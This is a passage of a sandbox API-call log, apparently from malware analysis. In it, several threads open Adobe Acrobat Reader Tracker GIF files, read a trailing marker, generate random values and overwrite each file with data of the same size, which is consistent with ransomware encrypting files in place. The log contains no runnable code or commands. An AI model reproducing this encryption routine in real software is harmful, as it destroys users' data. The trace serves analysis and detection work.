	[0094.569] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xeafc6668
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xa7ac0c98
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xe57570c9
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x934ed95f
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xa525948e
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xa735860b
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xde6947cc
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xf3b87bea
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xaf08c17d
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xfb8c7499
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xc9d35576
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xb0762924
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x5072c347
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x1900a0b7
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x4a1683c0
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x1c8b283
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x994d7583
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x3f249a91
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x71086763
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x6f2ce0dc
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xa5875b17
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x2608f8a1
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xa96c2cbd
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0xbb32ae81
	[0094.570] RtlRandom (in: Seed=0x304bfbc8 | out: Seed=0x304bfbc8) returned 0x1f832557
	[0094.580] ReadFile (in: hFile=0xf00, lpBuffer=0x5242068, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x304bfbb8, lpOverlapped=0x0 | out: lpBuffer=0x5242068*, lpNumberOfBytesRead=0x304bfbb8*=0x335, lpOverlapped=0x0) returned 1
	[0094.580] SetFilePointerEx (in: hFile=0xf00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.580] WriteFile (hFile=0xf00, lpBuffer=0x524e870, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x304bfbb4, lpOverlapped=0x0) 

Thread:
	id = 1416
	os_tid = 0x2240

	[0094.580] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif")) returned 0x20
	[0094.581] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif", dwFileAttributes=0x20) returned 1
	[0094.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xefc
	[0094.582] GetFileSizeEx (in: hFile=0xefc, lpFileSize=0x3053fb24 | out: lpFileSize=0x3053fb24*=1443) returned 1
	[0094.582] SetFilePointerEx (in: hFile=0xefc, liDistanceToMove=0x59f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.582] ReadFile (in: hFile=0xefc, lpBuffer=0x3053faa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3053faa4, lpOverlapped=0x0 | out: lpBuffer=0x3053faa8*, lpNumberOfBytesRead=0x3053faa4*=0x4, lpOverlapped=0x0) returned 1
	[0094.583] SetFilePointerEx (in: hFile=0xefc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47347f0
	[0094.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.583] NtQuerySystemTime (in: CurrentTime=0x3053fa84 | out: CurrentTime=0x3053fa84*=132251868213221480) returned 0x0
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xf667f029
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x5280104f
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xd2cb895f
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x23b18cce
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x5b380b74
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xc94dcd6b
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xad402594
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x7c2cb63e
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x21b53e85
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x1084841d
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x8b13f9e2
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xeb69e936
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x372bafbd
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x18578888
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xa4403cd4
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x511d3214
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x148d75fa
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x3362d3e4
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xa25c0f0e
	[0094.583] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xe70e3855
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xacb0e447
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x16bb9e63
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x67fd6f19
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xad1daf74
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x7b6e9808
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x36813d5b
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x630ec387
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x64fcbf58
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xf53e7d9d
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xc1de2e42
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0x9e25d623
	[0094.584] RtlRandom (in: Seed=0x3053fa90 | out: Seed=0x3053fa90) returned 0xdafc8adf
	[0094.594] ReadFile (in: hFile=0xefc, lpBuffer=0x525b078, nNumberOfBytesToRead=0x5a3, lpNumberOfBytesRead=0x3053fa80, lpOverlapped=0x0 | out: lpBuffer=0x525b078*, lpNumberOfBytesRead=0x3053fa80*=0x5a3, lpOverlapped=0x0) returned 1
	[0094.594] SetFilePointerEx (in: hFile=0xefc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.594] WriteFile (hFile=0xefc, lpBuffer=0x5267880, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x3053fa7c, lpOverlapped=0x0) 

Thread:
	id = 1417
	os_tid = 0x2244

	[0094.594] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif")) returned 0x20
	[0094.595] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif", dwFileAttributes=0x20) returned 1
	[0094.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef8
	[0094.595] GetFileSizeEx (in: hFile=0xef8, lpFileSize=0x305bfe80 | out: lpFileSize=0x305bfe80*=1360) returned 1
	[0094.596] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x54c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.596] ReadFile (in: hFile=0xef8, lpBuffer=0x305bfe04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x305bfe00, lpOverlapped=0x0 | out: lpBuffer=0x305bfe04*, lpNumberOfBytesRead=0x305bfe00*=0x4, lpOverlapped=0x0) returned 1
	[0094.597] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734868
	[0094.597] NtQuerySystemTime (in: CurrentTime=0x305bfde0 | out: CurrentTime=0x305bfde0*=132251868213377801) returned 0x0
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x8925ff51
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x13c4b062
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xa769038f
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x9750032a
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x3446de54
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x39b6649f
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x3fe94bfe
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xdf069b8d
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x498068b5
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x954bb0c6
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x451d8c9b
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xc9c46497
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xd6488aba
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x82a3c941
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x982a4706
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xb116e56d
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x679ab109
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xfef59d8b
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xd79ece5a
	[0094.597] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xb5f7e042
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x1b82ea29
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xaa75b64c
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xf46b443b
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xbd81e597
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xd243678a
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x868e7e72
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xee0bdfdb
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x447fd5bd
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x6294f334
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xbbeb4518
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0xcc759a52
	[0094.598] RtlRandom (in: Seed=0x305bfdec | out: Seed=0x305bfdec) returned 0x344621fe
	[0094.607] ReadFile (in: hFile=0xef8, lpBuffer=0x5274088, nNumberOfBytesToRead=0x550, lpNumberOfBytesRead=0x305bfddc, lpOverlapped=0x0 | out: lpBuffer=0x5274088*, lpNumberOfBytesRead=0x305bfddc*=0x550, lpOverlapped=0x0) returned 1
	[0094.607] SetFilePointerEx (in: hFile=0xef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.608] WriteFile (hFile=0xef8, lpBuffer=0x5280890, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x305bfdd8, lpOverlapped=0x0) 

Thread:
	id = 1418
	os_tid = 0x2248

	[0094.608] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif")) returned 0x20
	[0094.608] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif", dwFileAttributes=0x20) returned 1
	[0094.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x87c
	[0094.608] GetFileSizeEx (in: hFile=0x87c, lpFileSize=0x3063fb30 | out: lpFileSize=0x3063fb30*=807) returned 1
	[0094.609] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.609] ReadFile (in: hFile=0x87c, lpBuffer=0x3063fab4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3063fab0, lpOverlapped=0x0 | out: lpBuffer=0x3063fab4*, lpNumberOfBytesRead=0x3063fab0*=0x4, lpOverlapped=0x0) returned 1
	[0094.610] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734868
	[0094.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47344f8
	[0094.610] NtQuerySystemTime (in: CurrentTime=0x3063fa90 | out: CurrentTime=0x3063fa90*=132251868213533974) returned 0x0
	[0094.610] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xbb008b60
	[0094.610] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x3780525c
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x1c4c66ef
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xb9eace47
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xab9caa56
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x586e33f5
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x814d0c62
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xd1e1270f
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xc8535e7f
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x16c8d50c
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x8355d20d
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x94a96560
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xd627e994
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xa88cea52
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x31084208
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x41f14ce7
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xbb09f9a9
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x680953ec
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xe72df4e1
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x3642c921
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x44fc52b9
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x6ce61a58
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x29d22f07
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xa8247a52
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x81371fb1
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x2b5445d8
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xeeb6b1c4
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xd38ac304
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0x266912f9
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xf7f12f5c
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xe4a135a1
	[0094.611] RtlRandom (in: Seed=0x3063fa9c | out: Seed=0x3063fa9c) returned 0xc9fc7720
	[0094.621] ReadFile (in: hFile=0x87c, lpBuffer=0x528d098, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x3063fa8c, lpOverlapped=0x0 | out: lpBuffer=0x528d098*, lpNumberOfBytesRead=0x3063fa8c*=0x327, lpOverlapped=0x0) returned 1
	[0094.621] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.621] WriteFile (hFile=0x87c, lpBuffer=0x52998a0, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x3063fa88, lpOverlapped=0x0) 

Thread:
	id = 1419
	os_tid = 0x224c

	[0094.621] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif")) returned 0x20
	[0094.621] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", dwFileAttributes=0x20) returned 1
	[0094.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef4
	[0094.622] GetFileSizeEx (in: hFile=0xef4, lpFileSize=0x306bfeb0 | out: lpFileSize=0x306bfeb0*=900) returned 1
	[0094.622] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.622] ReadFile (in: hFile=0xef4, lpBuffer=0x306bfe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x306bfe30, lpOverlapped=0x0 | out: lpBuffer=0x306bfe34*, lpNumberOfBytesRead=0x306bfe30*=0x4, lpOverlapped=0x0) returned 1
	[0094.623] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47344f8
	[0094.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734570
	[0094.623] NtQuerySystemTime (in: CurrentTime=0x306bfe10 | out: CurrentTime=0x306bfe10*=132251868213533974) returned 0x0
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x51f1b52e
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x8fb3e3c8
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xeff18154
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xdabb7acb
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xe8149145
	[0094.623] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x14e15f21
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x602a6d7c
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x9b2e85d6
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xbeb319fc
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x3a8b197e
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x2d5aeeb3
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x88056820
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xca8759b2
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x8a13d1f2
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x6818d16a
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x52d2305
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x74bde080
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xd964366d
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xe7bf6447
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x7ef5a942
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x98c69034
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x268fc4a1
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x8104ad08
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xe8357118
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xd6b2c5cb
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xa44a6d78
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xf1fec4b7
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xbd93bdb0
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x903c733b
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x34fcaed0
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0x1848f552
	[0094.624] RtlRandom (in: Seed=0x306bfe1c | out: Seed=0x306bfe1c) returned 0xd3ea85b0
	[0094.634] ReadFile (in: hFile=0xef4, lpBuffer=0x52a60a8, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x306bfe0c, lpOverlapped=0x0 | out: lpBuffer=0x52a60a8*, lpNumberOfBytesRead=0x306bfe0c*=0x384, lpOverlapped=0x0) returned 1
	[0094.634] SetFilePointerEx (in: hFile=0xef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.634] WriteFile (hFile=0xef4, lpBuffer=0x52b28b0, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x306bfe08, lpOverlapped=0x0) 

Thread:
	id = 1420
	os_tid = 0x2250

	[0094.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif")) returned 0x20
	[0094.635] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", dwFileAttributes=0x20) returned 1
	[0094.635] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xef0
